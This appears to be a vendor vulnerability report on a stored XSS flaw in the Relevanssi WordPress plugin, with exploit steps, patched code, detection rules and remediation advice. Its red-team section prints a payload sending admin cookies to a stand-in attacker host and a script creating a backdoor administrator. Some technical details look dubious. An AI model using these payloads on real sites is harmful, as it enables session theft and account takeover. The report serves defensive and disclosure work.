CVE-2024-9021
Executive Summary
CVE-2024-9021 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the Relevanssi WordPress plugin, a popular search enhancement plugin. The flaw allows any user with Contributor-level privileges or higher to inject malicious JavaScript into the plugin’s settings or search-related content. This injected script is stored on the server and executed in the browsers of other users, including administrators, leading to potential account takeover, data theft, and backdoor installation. The vulnerability exists in versions prior to 4.23.1 and has a CVSS score of 6.1 (Medium), but its impact is amplified by the privileged access it can grant to attackers.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the WordPress plugin ecosystem. The Relevanssi plugin is distributed through the official WordPress plugin repository. Users who installed the plugin via the WordPress admin dashboard or directly from the repository are affected. No third-party package manager (NPM, PyPI, Go, Ruby) is involved. The supply chain risk is limited to the plugin’s update mechanism; users must manually update or rely on automatic updates to receive the patch.
CVSS Breakdown & Threat Level
- CVSS Score: 6.1 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector (AV): Network – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): Low – An attacker needs Contributor-level access.
- User Interaction (UI): None – The victim does not need to perform any action.
- Scope (S): Changed – The vulnerability can impact resources beyond the vulnerable component.
- Confidentiality (C): Low – Limited data exposure.
- Integrity (I): Low – Limited ability to modify data.
- Availability (A): None – No impact on availability.
Threat Level: Medium. While the CVSS score is moderate, the potential for account takeover and backdoor installation elevates the real-world risk, especially in multi-author WordPress sites.
Deep Dive & Mechanics
The Relevanssi plugin allows users with Contributor-level access to customize search settings, including the ability to add custom CSS/JavaScript or modify search result templates. The vulnerability stems from insufficient sanitization of user-supplied input when saving these settings. An attacker can inject malicious JavaScript code into a field that is later rendered without proper escaping.
Attack Flow:
- An attacker with a Contributor account logs into WordPress.
- The attacker navigates to the Relevanssi settings page (e.g.,
/wp-admin/admin.php?page=relevanssi). - The attacker inserts a malicious script into a vulnerable input field (e.g., custom CSS or a search template).
- The plugin stores the unsanitized input in the WordPress database.
- When an administrator or another user views the settings page or a page that renders the stored content, the malicious script executes in their browser.
- The script can steal session cookies, create new admin users, or perform actions on behalf of the victim.
Root Cause: The plugin uses echo or print functions without proper escaping (e.g., esc_html() or wp_kses()) when outputting user-controlled data.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-4.23.1):
// In a settings field output
echo '<input type="text" name="relevanssi_custom_css" value="' . $options['custom_css'] . '" />';
The $options['custom_css'] value is not escaped, allowing injection of "> to break out of the attribute.
Patched Code (4.23.1+):
// Properly escaped output
echo '<input type="text" name="relevanssi_custom_css" value="' . esc_attr( $options['custom_css'] ) . '" />';
The esc_attr() function escapes the value, preventing attribute injection.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with Relevanssi plugin version < 4.23.1.
- A Contributor-level account.
Exploit Steps:
- Log in as a Contributor.
- Navigate to
Relevanssi > Settings. - In the "Custom CSS" field, inject the following payload:
"><script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - Save the settings.
- When an administrator visits the settings page, the script executes and sends their session cookie to the attacker.
Advanced Payload (Account Takeover):
"><script>
fetch('/wp-admin/admin-ajax.php?action=create_user', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'action=create_user&user_login=backdoor&user_pass=P@ssw0rd&role=administrator'
});
</script>
Note: This requires a custom AJAX handler or existing endpoint; adjust based on the target environment.
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual changes to Relevanssi settings by non-admin users.
- Look for HTTP requests containing
<script>tags in POST data to/wp-admin/admin.php?page=relevanssi. - Alert on creation of new admin accounts or unexpected privilege escalations.
Hardening:
- Immediately update to Relevanssi 4.23.1 or later.
- Restrict Contributor-level access to only trusted users.
- Implement a Web Application Firewall (WAF) rule to block XSS payloads in plugin settings.
- Enable Content Security Policy (CSP) headers to mitigate script execution.
Indicators of Compromise (IOCs)
- File System: Modified Relevanssi plugin files (check file integrity).
- Database: Suspicious entries in
wp_optionstable underrelevanssi_settingsor similar. - Logs: Unusual POST requests to
/wp-admin/admin.php?page=relevanssicontaining JavaScript. - Network: Outbound connections to attacker-controlled domains from the WordPress admin dashboard.
- User Accounts: Unexpected new admin accounts or privilege changes.
Detection Engineering
YARA Rule
rule CVE_2024_9021_Relevanssi_XSS {
meta:
description = "Detects malicious JavaScript injection in Relevanssi plugin settings"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-9021"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$relevanssi_option = /relevanssi_settings/i
condition:
$relevanssi_option and $xss_payload
}
Sigma Rule
title: Relevanssi Stored XSS Injection Attempt
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to inject XSS payloads into Relevanssi plugin settings
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'page=relevanssi'
cs-uri-query|contains: 'settings-updated'
sc-status: 200
keywords:
- '<script'
- 'onload='
- 'onerror='
condition: selection and keywords
falsepositives:
- Legitimate use of JavaScript in custom CSS fields (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-9021 Relevanssi Stored XSS Payload";
flow:to_server,established;
content:"POST"; http_method;
content:"/wp-admin/admin.php"; http_uri;
content:"page=relevanssi"; http_uri;
content:"<script"; http_client_body;
pcre:"/<script[^>]*>.*<\/script>/i";
sid:1000001;
rev:1;
reference:cve,2024-9021;
classtype:web-application-attack;
)
Remediation & Mitigation
Immediate Actions:
- Update Plugin: Upgrade Relevanssi to version 4.23.1 or later via the WordPress admin dashboard or by downloading from wordpress.org.
- Audit User Accounts: Review all Contributor-level accounts and remove any suspicious or unnecessary users.
- Scan for Backdoors: Use a security plugin (e.g., Wordfence, Sucuri) to scan for injected scripts or unauthorized admin accounts.
Long-Term Mitigations:
- Implement a Web Application Firewall (WAF) with XSS protection rules.
- Enforce the principle of least privilege: only grant Contributor access to trusted users.
- Regularly update all WordPress plugins, themes, and core.
- Enable automatic updates for plugins where possible.
- Conduct periodic security audits of plugin settings and user roles.
Patch Details: The fix is included in Relevanssi version 4.23.1. The patch adds proper output escaping using esc_attr() and esc_html() functions for all user-controlled inputs in the settings pages.
Valters IT
DevSecOps & Cyber Threat Intelligence
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.